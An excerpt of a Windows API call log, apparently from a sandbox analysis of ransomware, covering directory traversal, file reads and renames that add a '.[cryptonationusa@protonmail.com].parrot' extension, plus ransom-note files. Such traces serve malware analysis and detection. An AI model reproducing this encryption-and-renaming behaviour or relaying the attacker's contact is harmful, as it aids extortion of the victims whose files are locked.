ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1de6d7a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de47640, ftCreationTime.dwHighDateTime=0x1d5e09e, ftLastAccessTime.dwLowDateTime=0x1de47640, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1de6d7a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0244.764] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.764] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.764] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.764] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.764] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.764] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0244.765] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.766] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.766] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0244.766] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.766] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.766] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1de6d7a0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1de6d7a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0244.766] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0244.766] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0244.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fa7f0 | out: hHeap=0x5b0000) returned 1 [0244.766] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0244.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173da8 | out: hHeap=0x5b0000) returned 1 [0244.766] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0244.766] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.767] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.767] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0244.767] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0244.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ebb30 | out: hHeap=0x5b0000) returned 1 [0244.767] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0244.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ebb88 | out: hHeap=0x5b0000) returned 1 [0244.767] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80daeb90, ftCreationTime.dwHighDateTime=0x1d57a54, ftLastAccessTime.dwLowDateTime=0x7cd88260, ftLastAccessTime.dwHighDateTime=0x1d5b8ab, ftLastWriteTime.dwLowDateTime=0x7cd88260, ftLastWriteTime.dwHighDateTime=0x1d5b8ab, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe", cAlternateFileName="")) returned 1 [0244.769] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.769] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0bad8b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bad8b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.770] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26f73c90, ftCreationTime.dwHighDateTime=0x1d58c7f, ftLastAccessTime.dwLowDateTime=0x6136b810, ftLastAccessTime.dwHighDateTime=0x1d58868, ftLastWriteTime.dwLowDateTime=0x6136b810, ftLastWriteTime.dwHighDateTime=0x1d58868, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="creditservice.exe", cAlternateFileName="CREDIT~1.EXE")) returned 1 [0244.770] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.770] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.770] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0bd3a10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bd3a10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.770] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.770] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.770] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8406ab0, ftCreationTime.dwHighDateTime=0x1d55b98, ftLastAccessTime.dwLowDateTime=0x77d193f0, ftLastAccessTime.dwHighDateTime=0x1d59a5c, ftLastWriteTime.dwLowDateTime=0x77d193f0, ftLastWriteTime.dwHighDateTime=0x1d59a5c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="ACTIVE~1.EXE")) returned 1 [0244.771] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.771] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.771] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.772] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.772] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.772] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0244.772] lstrcmpW (lpString1="Framework", lpString2=".") returned 1 [0244.772] lstrcmpW (lpString1="Framework", lpString2="..") returned 1 [0244.772] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.772] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.772] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.773] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.773] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.773] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0244.773] lstrcmpW (lpString1="v3.0", lpString2=".") returned 1 [0244.773] lstrcmpW (lpString1="v3.0", lpString2="..") returned 1 [0244.773] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.775] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.775] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.777] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.777] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.777] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0244.777] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.777] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.777] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.778] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.778] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.778] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0244.779] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.779] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0244.780] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.780] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bd4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1bd4, lpOverlapped=0x0) returned 1 [0244.781] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f97a8 | out: hHeap=0x5b0000) returned 1 [0244.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0244.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0244.786] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.786] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1de93900, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1de93900, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.786] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1de93900, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="FRAMEW~1.PAR")) returned 1 [0244.786] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.786] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0244.788] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.788] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa12, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa12, lpOverlapped=0x0) returned 1 [0244.788] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f4e78 | out: hHeap=0x5b0000) returned 1 [0244.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0244.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0244.792] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.792] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1deb9a60, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1deb9a60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.792] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0244.793] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.794] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.794] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, 